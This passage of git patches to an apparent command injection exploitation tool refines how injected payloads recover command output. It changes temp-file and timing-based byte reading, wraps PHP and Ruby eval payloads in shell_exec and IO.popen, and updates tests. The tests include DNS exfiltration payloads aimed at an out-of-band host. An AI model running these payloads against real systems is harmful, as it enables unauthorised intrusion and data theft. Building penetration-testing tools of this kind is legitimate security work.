Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "340" +REVISION = "341" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_requests.py b/tests/test_requests.py index 4f5452aa6f..7d51f5d740 100644 --- a/tests/test_requests.py +++ b/tests/test_requests.py @@ -17,6 +17,7 @@ from src.utils import settings from src.core.requests import requests, headers +from src.core.parse import cmdline as menu from src.thirdparty.six.moves import urllib as _urllib class WhatIsRecordedIsThePayloadNotTheRequest(unittest.TestCase): @@ -154,3 +155,32 @@ def test_it_is_said_once_rather_than_on_every_request_that_is_refused(self): for _ in range(4): requests.request_failed(self._refused(414, "Request-URI Too Long")) self.assertEqual(1, len([_ for _ in self.said if "longer than it accepts" in _])) + +class WhatARedirectSaidIsTrueOfItsOwnRequest(unittest.TestCase): + """ + The code is set by the redirect handler as a request is answered. Never cleared, it outlived that + request: the one named in the question put to the user, and read by whatever asked later whether + a redirect had happened at all, was whichever the run had last been sent anywhere. + """ + def setUp(self): + self._state = (settings.REDIRECT_CODE, settings.DELAY, settings.ADAPTIVE_DELAY, + settings.REQUEST_COUNTER, menu.options.jitter, menu.options.proxy_freq, + menu.options.safe_freq) + settings.DELAY = 0 + settings.ADAPTIVE_DELAY = 0 + menu.options.jitter = 0 + menu.options.proxy_freq = None + menu.options.safe_freq = None + + def tearDown(self): + (settings.REDIRECT_CODE, settings.DELAY, settings.ADAPTIVE_DELAY, settings.REQUEST_COUNTER, + menu.options.jitter, menu.options.proxy_freq, menu.options.safe_freq) = self._state + + def test_a_request_does_not_start_carrying_the_one_before_it(self): + settings.REDIRECT_CODE = 301 + headers.apply_request_policy() + self.assertFalse(settings.REDIRECT_CODE) + + def test_a_request_that_was_never_redirected_says_so(self): + headers.apply_request_policy() + self.assertEqual("", settings.REDIRECT_CODE) diff --git a/tests/test_session.py b/tests/test_session.py index 2b7168f149..6755bab9dc 100644 --- a/tests/test_session.py +++ b/tests/test_session.py @@ -58,6 +58,69 @@ def tearDown(self): def stored_placeholder(self): return session_handler.check_stored_testable_value(self.URL, "addr", "GET") +class TheSessionKeepsOneRowPerThingItKnows(SessionFixture): + """ + The value under test is stood in for by a placeholder made fresh every run, so the address a + point is filed under differs from one run to the next for the very same point. Grouped on the + whole of that address, the sweep that is meant to leave one row per point left every one of them, + and the file grew by a row for every run that found the same point again. + """ + def _rows(self, suffix): + table = session_handler.table_name(self.URL) + suffix + with sqlite3.connect(settings.SESSION_FILE) as conn: + return conn.execute("SELECT COUNT(*) FROM \"" + table + "\";").fetchone()[0] + + def _point(self, placeholder, payload): + table = session_handler.table_name(self.URL) + "_ip" + with sqlite3.connect(settings.SESSION_FILE) as conn: + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (id INTEGER PRIMARY KEY, url VARCHAR, " + "technique VARCHAR, vuln_parameter VARCHAR, http_header VARCHAR, payload VARCHAR);") + conn.execute("INSERT INTO \"" + table + "\" (url, technique, vuln_parameter, http_header, payload) " + "VALUES (?, ?, ?, ?, ?);", + ("http://t/a.php?addr=" + placeholder + "INJECT_HERE", + "results-based command injection technique", "addr", "", payload)) + conn.commit() + + def test_the_same_point_found_again_does_not_add_a_row(self): + for placeholder in ("YJY", "AHF", "EOH"): + self._point(placeholder, "payload-" + placeholder) + session_handler.clear(self.URL) + self.assertEqual(1, self._rows("_ip")) + + def test_the_row_kept_is_the_one_a_resumed_run_would_have_used(self): + # Read back in order with the last of them kept, so the newest is the one that was in use - and + # the only one whose stored payload was built with the options this session was given. + for placeholder in ("YJY", "AHF", "EOH"): + self._point(placeholder, "payload-" + placeholder) + session_handler.clear(self.URL) + table = session_handler.table_name(self.URL) + "_ip" + with sqlite3.connect(settings.SESSION_FILE) as conn: + self.assertEqual("payload-EOH", conn.execute("SELECT payload FROM \"" + table + "\";").fetchone()[0]) + + def test_a_point_at_another_address_is_a_point_of_its_own(self): + self._point("YJY", "payload-one") + table = session_handler.table_name(self.URL) + "_ip" + with sqlite3.connect(settings.SESSION_FILE) as conn: + conn.execute("INSERT INTO \"" + table + "\" (url, technique, vuln_parameter, http_header, payload) " + "VALUES (?, ?, ?, ?, ?);", ("http://t/b.php?addr=AHFINJECT_HERE", + "results-based command injection technique", "addr", "", "payload-two")) + conn.commit() + session_handler.clear(self.URL) + self.assertEqual(2, self._rows("_ip")) + + def test_a_command_asked_again_replaces_its_answer_rather_than_joining_it(self): + session_handler.store_cmd(self.URL, "id", "uid=33(www-data)", "addr") + session_handler.store_cmd(self.URL, "id", "uid=33(www-data)", "addr") + session_handler.store_cmd(self.URL, "id", "uid=0(root)", "addr") + self.assertEqual(1, self._rows("_ir")) + self.assertEqual("uid=0(root)", session_handler.export_stored_cmd(self.URL, "id", "addr")) + + def test_another_command_is_an_answer_of_its_own(self): + session_handler.store_cmd(self.URL, "id", "uid=33(www-data)", "addr") + session_handler.store_cmd(self.URL, "whoami", "www-data", "addr") + self.assertEqual(2, self._rows("_ir")) + self.assertEqual("www-data", session_handler.export_stored_cmd(self.URL, "whoami", "addr")) + class OnlyCredentialsThatAreAPairAreKept(SessionFixture): """ What the store holds is a username and a password. A bearer token is neither half of one - it is From 4095cc13b1ed904059046444a833979e23900096 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 14 Nov 2026 08:03:48 +0200 Subject: [PATCH 1015/1023] Fixed several issues regarding the fidelity of the output a command is answered with, affecting the tempfile-based technique, the reading of a command run through an evaluation sink and the way a command reaches one --- src/core/controller/injector.py | 55 ++++-- src/core/eval/grammars/php.py | 23 ++- src/core/eval/grammars/ruby.py | 7 +- .../techniques/tempfile_based/tfb_payloads.py | 78 ++++---- src/core/techniques/time_based/tb_payloads.py | 17 +- src/utils/settings.py | 2 +- tests/test_oob_dns.py | 26 ++- tests/test_oob_dns_integration.py | 19 +- tests/test_payloads.py | 183 ++++++++++++++---- 9 files changed, 310 insertions(+), 100 deletions(-) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 4bad330bc3..0184769f6e 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1842,19 +1842,52 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + """ + Every kind of line break stood in for, and each of them by a mark of its own. + + A carriage return the command printed is a byte of its output like any other, and marked as the + same thing a newline is marked as, it came back as a newline: an output of 'a\rb' was answered + with 'a\nb'. The three marks share a prefix, so one pattern still matches whichever of them the + break a marker brought with it turned into - and the pair is taken first, so a Windows line + break is one mark rather than two. + """ + marks = ((settings.END_LINE.CRLF, new_line + "B"), (settings.END_LINE.CR, new_line + "R"), + (settings.END_LINE.LF, new_line + "N")) + any_mark = new_line + "[BRN]" + # A break that ends a line, which is what the markers bring with them and what the output has + # dropped from its end everywhere else in this tool. A carriage return on its own ends nothing, + # so it stays: 'ab\r' is 'ab\r', the same way the techniques reading their answer off a + # substitution hand it back. + line_mark = new_line + "[BN]" # Grab execution results html_data = checks.process_page_content(response, action="decode") - # CRLF included, so a Windows target's line breaks are marked the same as a Unix one's. - html_data = re.sub(settings.END_LINE.CRLF + r"|[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]", new_line, html_data) - shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) - try: - if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: - shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ - re.split(TAG + "(.*)" + TAG, \ - re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) - shell = shell[0].replace(new_line, settings.END_LINE.LF).rstrip().lstrip() - except IndexError: - pass + for sequence, mark in marks: + html_data = html_data.replace(sequence, mark) + """ + What the two pairs of markers enclose, and only that. + + The payload prints its markers with 'echo', which ends each of them with a line break, so what + sits between the pairs is one of those breaks followed by the command's own output. Read + instead as the text between two breaks, the output had to end with a break of its own for there + to be a second one to match: a command printing anything else - 'printf', 'echo -n', a program + that simply does not end on one - was answered with nothing at all, and reported as a command + that returned no output rather than as one whose output went unread. An output of several lines + that ended without a break lost its last line the same way. + + So the break the marker brought is taken off by itself, the ones the output ends with go the + way a substitution drops them, and every other one stays where the command put it. Nothing is + taken off the ends beyond that: trimmed there as well, a command whose output was indented, or + padded, or was whitespace altogether came back without the part of it that said so. + """ + shell = re.findall(r"" + TAG + any_mark + TAG + "(.*?)" + TAG + any_mark + TAG + "", html_data) + if not shell: + shell = "" + else: + found = re.sub("^(?:" + line_mark + ")", "", shell[0], count=1) + found = re.sub("(?:" + line_mark + ")+$", "", found) + for sequence, mark in marks: + found = found.replace(mark, sequence) + shell = found else: #Find the directory. diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index 78142ae665..0abde497fe 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -94,8 +94,8 @@ def print_statement(separator, commands, chain=None): """ terminator = TERMINATOR if separator else "" if separator == "": - return "print(" + ".".join("`" + command + "`" for command in commands) + ")" + terminator - return "print(`" + (chain or separator).join(commands) + "`)" + terminator + return "print(" + ".".join(run(command) for command in commands) + ")" + terminator + return "print(" + run((chain or separator).join(commands)) + ")" + terminator """ The expressions every payload is built out of, spelled the way this language spells them. @@ -110,9 +110,24 @@ def print_statement(separator, commands, chain=None): def execution_prefix(function): return "${" + function + "(" -# Run a command and yield its output. +# A string literal holding the given text. A single-quoted PHP string is read almost verbatim - +# no variable in one is interpolated, and no escape but these two is recognised - so a '$' or a +# backtick in the command is the character it is rather than something the interpreter acts on. +def _literal(text): + return "'" + text.replace("\\", "\\\\").replace("'", "\\'") + "'" + +""" +Run a command and yield its output. + +Handed over as a literal rather than written into the string the backtick operator reads. Written +in, that string interpolated what it found: a command carrying a '$' lost the name behind it to a +variable that was never set - 'printf a$c' ran as 'printf a' and the run reported the shorter +answer as the command's own - and one carrying a backtick closed the string early, so nothing ran +at all. The operator is this function under another name, so a target that refuses one refuses both +and nothing is given up by writing it out. +""" def run(cmd): - return "`" + cmd + "`" + return "shell_exec(" + _literal(cmd) + ")" # Read a file and yield its contents. def read_file(path): diff --git a/src/core/eval/grammars/ruby.py b/src/core/eval/grammars/ruby.py index 022dc247bd..584149fc9c 100644 --- a/src/core/eval/grammars/ruby.py +++ b/src/core/eval/grammars/ruby.py @@ -105,8 +105,13 @@ def print_statement(separator, commands, chain=None): # Run a command and yield its output, through the backtick operator - which reads a command the # same way a double-quoted string reads its own text, so nothing here needs a separate literal form. +# A string literal holding the given text. A single-quoted Ruby string interpolates nothing and +# recognises no escape but these two, so a '#{' or a backtick in the command stays what it is. +def _literal(text): + return "'" + text.replace("\\", "\\\\").replace("'", "\\'") + "'" + def run(cmd): - return "`" + cmd + "`" + return "IO.popen(" + _literal(cmd) + ").read" # Read a file and yield its contents. def read_file(path): diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 1cb4cce22c..f7f3a59001 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -37,41 +37,37 @@ def windows_file_text(OUTPUT_TEXTFILE): def windows_cmd_text(cmd): return checks.windows_output_text(cmd) -def flattened_file_text(OUTPUT_TEXTFILE): +def file_text(OUTPUT_TEXTFILE): """ - The file's contents as one line: every newline in it turned into a space. + The file's contents as the command wrote them, line breaks and all. - Output of any shape is measured and read back as a single string, so the newlines between lines - have to become something the one line can hold. Read by redirection rather than through a pipe, - because the separator under test is the only one a payload is allowed to chain itself with. - """ - return "tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE - -def flattened_trimmed_text(OUTPUT_TEXTFILE): - """ - The same one line, joined and trimmed in the one read, for a separator that cannot carry the - variable the two steps above pass between them. + Read by redirection's opposite rather than through a pipe, because the separator under test is + the only one a payload is allowed to chain itself with - and the whole of it, where a reading + that joined the lines with a space used to stand: an output of several lines came back as one + paragraph, and the shape a target answered in was the part of the answer that was lost. The + ordinals every byte is read off are counted the same whether a byte is a newline or a letter, as + the delay-based technique's own reading of them already shows. - Each rule holds a single statement, so the program needs no ';' of its own, and the join is - written as 'OFS' rather than a literal space - which a script rewriting whitespace would - otherwise rewrite inside awk's own quotes, where it is text rather than a separator. - - >>> ";" in flattened_trimmed_text("/tmp/o.txt") + >>> ";" in file_text("/tmp/o.txt") False - >>> "|" in flattened_trimmed_text("/tmp/o.txt") + >>> "|" in file_text("/tmp/o.txt") False - >>> flattened_trimmed_text("/tmp/o.txt").endswith("/tmp/o.txt") + >>> file_text("/tmp/o.txt").endswith("/tmp/o.txt") True """ - return ("awk 'NR>1{out=(out)(OFS)}{out=(out)($0)}END{print(out)}' " + OUTPUT_TEXTFILE) + return "cat " + OUTPUT_TEXTFILE -def trimmed_output_text(): +def output_text(): """ - The flattened text without the space standing in for the trailing newline, which had been making - every result a character longer than it was. Matched as a class rather than written out, so that - a script rewriting whitespace cannot rewrite it, and suffix removal adds no command of its own. + What was read, written back as it stands. + + A substitution hands back what it captured without the newlines it ended with and without + anything else, so by the time this is written the trailing newline is already gone. One trailing + whitespace character used to be taken off here as well, to drop the space the joining above left + in that newline's place - with nothing joined there is no such space, and taking one off anyway + took a character the command had printed: an output of 'ab ' came back as 'ab'. """ - return "${" + settings.RANDOM_VAR_GENERATOR + "%[[:space:]]}" + return "${" + settings.RANDOM_VAR_GENERATOR + "}" """ Tempfile-based decision payload (check if host is vulnerable). @@ -202,8 +198,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth payload = (separator + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. settings.BYTE_LOCALE_EXPORTED + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + - "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + "echo \"" + output_text() + "\" >" + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + @@ -219,7 +215,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # the decimals are written last - after the delay has been scaled, since the word carrying # them is built before 'sleep' is run. Nothing here chains, so nothing is smuggled. measured = (settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + - settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + flattened_trimmed_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) to_decimals = (settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) @@ -230,8 +226,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # The "&&" this payload already carries holds the pin too, which "&" alone would background away. payload = (separator + settings.BYTE_LOCALE_EXPORTED + "&&" + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "&&" + - "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "&&" + + "echo \"" + output_text() + "\" >" + OUTPUT_TEXTFILE + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + @@ -246,8 +242,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth payload = (ampersand + # The command the "&&" needs on its left, pinning while it is there. settings.BYTE_LOCALE_EXPORTED + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + - "echo \"" + trimmed_output_text() + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + "echo \"" + output_text() + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + @@ -456,8 +452,8 @@ def oracle_supported(separator): return bb_payloads._supported(separator) and separator != "|" """ -Write a command's output into the created file once, flattened to one line the same way the -delay-based reading already flattens it - nothing here asks a question, so nothing here waits. +Write a command's output into the created file once, read back the same way the delay-based +reading reads it - nothing here asks a question, so nothing here waits. """ def oracle_write(separator, cmd, OUTPUT_TEXTFILE): if not oracle_supported(separator): @@ -471,8 +467,8 @@ def oracle_write(separator, cmd, OUTPUT_TEXTFILE): var = settings.RANDOM_VAR_GENERATOR payload = (separator + var + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + - " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + - "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + "echo \"" + output_text() + "\" >" + OUTPUT_TEXTFILE ) return checks.terminate_payload(payload, separator) @@ -530,7 +526,15 @@ def oracle_get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, operat return "" if settings.TARGET_OS == settings.OS.WINDOWS: return bb_payloads.get_char(separator, "type " + OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator) - ordinal = checks.byte_ordinal("$(cut -b" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")") + # Indexed into the whole of what the file holds rather than a byte per line of it. 'cut -b' + # answers once for every line, so on an output of more than one it answered with another line's + # byte, and with nothing at all for the lines shorter than the position asked for - which is why + # the file used to be joined into a single line before any of this was read. Taken by awk as an + # argument instead, the way the delay-based technique already takes its own bytes, a newline is + # a position like any other. + ordinal = checks.byte_ordinal(tb_payloads._ordinal_arg_byte( + settings.CMD_SUB_PREFIX + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX, + num_of_chars)) payload = separator + bb_payloads._decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal) return checks.terminate_payload(payload, separator) diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index e1e4f4ab5b..ece881d11b 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -124,6 +124,19 @@ def _py_ordinal_expr(cmd, num_of_chars): The parentheses stand in for the space awk's own concatenation would need, which the whitespace substitution would eat inside the quoted program. """ +def _ordinal_arg_byte(word, num_of_chars): + """ + The byte itself, for a reading that opens the arithmetic around it rather than joining one + already open - the tempfile-based technique asks for its own bytes this way. + + >>> "|" in _ordinal_arg_byte("WORD", 3) + False + >>> "substr(ARGV[1],3,1)" in _ordinal_arg_byte("WORD", 3) + True + """ + return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print((substr(ARGV[1]," + str(num_of_chars) + + ",1))(\"X\"))}' \"" + word + "\"" + settings.CMD_SUB_SUFFIX) + def _ordinal_arg_expr(word, num_of_chars): """ >>> "|" in _ordinal_arg_expr("WORD", 3) @@ -131,9 +144,7 @@ def _ordinal_arg_expr(word, num_of_chars): >>> "substr(ARGV[1],3,1)" in _ordinal_arg_expr("WORD", 3) True """ - byte = (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print((substr(ARGV[1]," + str(num_of_chars) + - ",1))(\"X\"))}' \"" + word + "\"" + settings.CMD_SUB_SUFFIX) - return checks.byte_ordinal_term(byte) + return checks.byte_ordinal_term(_ordinal_arg_byte(word, num_of_chars)) """ The same condition written as arithmetic, or nothing where it is not one 'test' comparison of diff --git a/src/utils/settings.py b/src/utils/settings.py index 09e3f307ac..fe263b0450 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "341" +REVISION = "342" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_oob_dns.py b/tests/test_oob_dns.py index b6321ab2bb..9c024c93ca 100644 --- a/tests/test_oob_dns.py +++ b/tests/test_oob_dns.py @@ -16,6 +16,7 @@ import binascii import os import sys +import re import unittest import unittest.mock as mock @@ -539,6 +540,18 @@ def test_payload_is_nonempty_string(self): # OOB_EVAL: exfiltrate_eval and injection() with OOB_EVAL=True # --------------------------------------------------------------------------- +""" +What the eval wrapper's literal holds, as the shell will see it. + +The command is carried as a single-quoted string of the language being evaluated rather than +written into one the interpreter reads, so a '$' or a backtick of the pipeline's own reaches the +shell instead of being read by the interpreter on the way. Unescaped here the way that language +unescapes it. +""" +def _eval_inner(payload): + literal = re.search(r"shell_exec\('(.*)'\)\)", payload).group(1) + return re.sub(r"\\(['\\])", r"\1", literal) + class TestOobEval(unittest.TestCase): _HOST = "aabbccddeeaabbccddeetest0000token.oast.fun" @@ -556,10 +569,10 @@ def test_returns_nonempty_for_dns(self): result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") self.assertTrue(result, "exfiltrate_eval returned empty for dns transport") - def test_wraps_in_eval_grammar_backticks(self): - # Default eval grammar is PHP: print(`...`); + def test_wraps_the_command_in_the_grammars_own_run(self): + # Default eval grammar is PHP: print(shell_exec('...')); result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") - self.assertIn("`", result) + self.assertIn("shell_exec(", result) self.assertTrue(result.strip().startswith("print(")) def test_contains_dns_pipeline_structure(self): @@ -568,11 +581,12 @@ def test_contains_dns_pipeline_structure(self): self.assertIn("od -An", result) def test_inner_command_matches_plain_exfiltrate(self): - # The backtick content must be exactly what exfiltrate("", ...) builds. + # What the literal holds must be exactly what exfiltrate("", ...) builds - the pipeline + # carries '$0' and '$H' of its own, which a string the interpreter reads would have taken + # for its own variables and dropped. plain = payloads.exfiltrate("", "dns", self._HOST, "echo hello") wrapped = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") - inner = wrapped.split("`")[1] - self.assertEqual(inner, plain) + self.assertEqual(_eval_inner(wrapped), plain) def test_terminator_appended_when_separator_given(self): result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") diff --git a/tests/test_oob_dns_integration.py b/tests/test_oob_dns_integration.py index 032f549b61..da2f22c7dc 100644 --- a/tests/test_oob_dns_integration.py +++ b/tests/test_oob_dns_integration.py @@ -37,6 +37,7 @@ import sys import tempfile import threading +import re import unittest import unittest.mock as mock @@ -248,6 +249,18 @@ def poll_now(self): # Integration test class # --------------------------------------------------------------------------- +""" +What the eval wrapper's literal holds, as the shell will see it. + +The command is carried as a single-quoted string of the language being evaluated rather than +written into one the interpreter reads, so a '$' or a backtick of the pipeline's own reaches the +shell instead of being read by the interpreter on the way. Unescaped here the way that language +unescapes it. +""" +def _eval_inner(payload): + literal = re.search(r"shell_exec\('(.*)'\)\)", payload).group(1) + return re.sub(r"\\(['\\])", r"\1", literal) + _TOOLS = ("sh", "od", "fold", "cat", "tr", "xargs", "python3") @unittest.skipUnless( @@ -480,8 +493,8 @@ def test_oob_eval_inner_command_round_trip(self): # statement (PHP by default: print(`...`);). The backtick content is # the same shell pipeline as the non-eval path. Extract and run it. payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello") - self.assertIn("`", payload, "eval wrapper not present: %r" % payload[:60]) - inner_cmd = payload.split("`")[1] + self.assertIn("shell_exec(", payload, "eval wrapper not present: %r" % payload[:60]) + inner_cmd = _eval_inner(payload) self._run(inner_cmd) names = self._stub.drain() self.assertNotEqual(names, [], "no DNS queries captured") @@ -502,7 +515,7 @@ def test_oob_eval_wrapper_does_not_alter_dns_queries(self): plain_names = set(self._stub.drain()) eval_payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello") - inner_cmd = eval_payload.split("`")[1] + inner_cmd = _eval_inner(eval_payload) self._run(inner_cmd) eval_names = set(self._stub.drain()) diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 21ec528b2a..a917e8ba87 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -283,7 +283,6 @@ def _programs(self): return { "length": tb_payloads._length_arg_expr("WORD"), "ordinal": tb_payloads._ordinal_arg_expr("WORD", 3), - "flatten": tfb_payloads.flattened_trimmed_text("FILE"), "single line": rb_payloads.single_line_output("WORD"), } @@ -309,6 +308,125 @@ def test_no_awk_program_holds_a_space_inside_its_own_quotes(self): for part in programs: self.assertNotIn(" ", part, name + " holds a space inside its quotes") +class TheCreatedFileIsReadAsTheCommandWroteIt(unittest.TestCase): + """ + The bytes are read off this file one ordinal at a time, and an ordinal is the same number whether + the byte is a newline or a letter - which the delay-based technique's reading of the same kind + already relies on. Joined into one line before it was read, an output of several lines came back + a paragraph, and one trailing whitespace character was taken off every output to drop the space + that joining left where the last newline had been. + """ + def _read(self): + from src.core.techniques.tempfile_based import tfb_payloads + return tfb_payloads.file_text("/tmp/o.txt") + + def test_the_file_is_read_whole_rather_than_joined_into_a_line(self): + read = self._read() + self.assertNotIn("tr ", read) + self.assertNotIn("awk", read) + self.assertTrue(read.endswith("/tmp/o.txt"), read) + + def test_the_read_needs_no_pipe_and_no_separator_of_its_own(self): + read = self._read() + self.assertNotIn("|", read) + for operator in ("&&", "||", "&", ";"): + self.assertNotIn(operator, read, "the read carries " + repr(operator)) + + def test_nothing_is_taken_off_what_the_command_printed(self): + from src.core.techniques.tempfile_based import tfb_payloads + # A substitution has already dropped the newlines the output ended with by this point, so a + # trailing character removed here is one the command printed. + self.assertNotIn("%[[:space:]]", tfb_payloads.output_text()) + self.assertIn(settings.RANDOM_VAR_GENERATOR, tfb_payloads.output_text()) + +class AnEvaluatedCommandsOutputIsReadAsItWasPrinted(unittest.TestCase): + """ + The payload prints its markers with 'echo', so each of them ends with a line break and what sits + between the two pairs is one of those breaks followed by the output. Read as the text between two + breaks instead, an output that did not end with one of its own was answered with nothing at all. + """ + TAG = "QQQQQQ" + + def _page(self, output): + # Exactly what 'print(`echo TAG`.`echo TAG`.`cmd`.`echo TAG`.`echo TAG`)' leaves on the page. + marker = self.TAG + "\n" + self.TAG + "\n" + return "Hello, " + marker + output + marker + "!" + + def _read(self, output): + from src.core.controller import injector + page = self._page(output) + class served(object): + def read(self, *args, **kwargs): + return page.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + return injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE, "url", None, 1) + + def test_an_output_that_ends_with_a_break_is_answered(self): + self.assertEqual("AB", self._read("AB\n")) + + def test_an_output_that_ends_without_one_is_answered_too(self): + # 'printf', 'echo -n', or any program that does not end on a break - reported as a command that + # returned no output, for want of a second break to match. + self.assertEqual("AB", self._read("AB")) + + def test_the_whitespace_the_output_begins_and_ends_with_is_kept(self): + self.assertEqual("\t AB 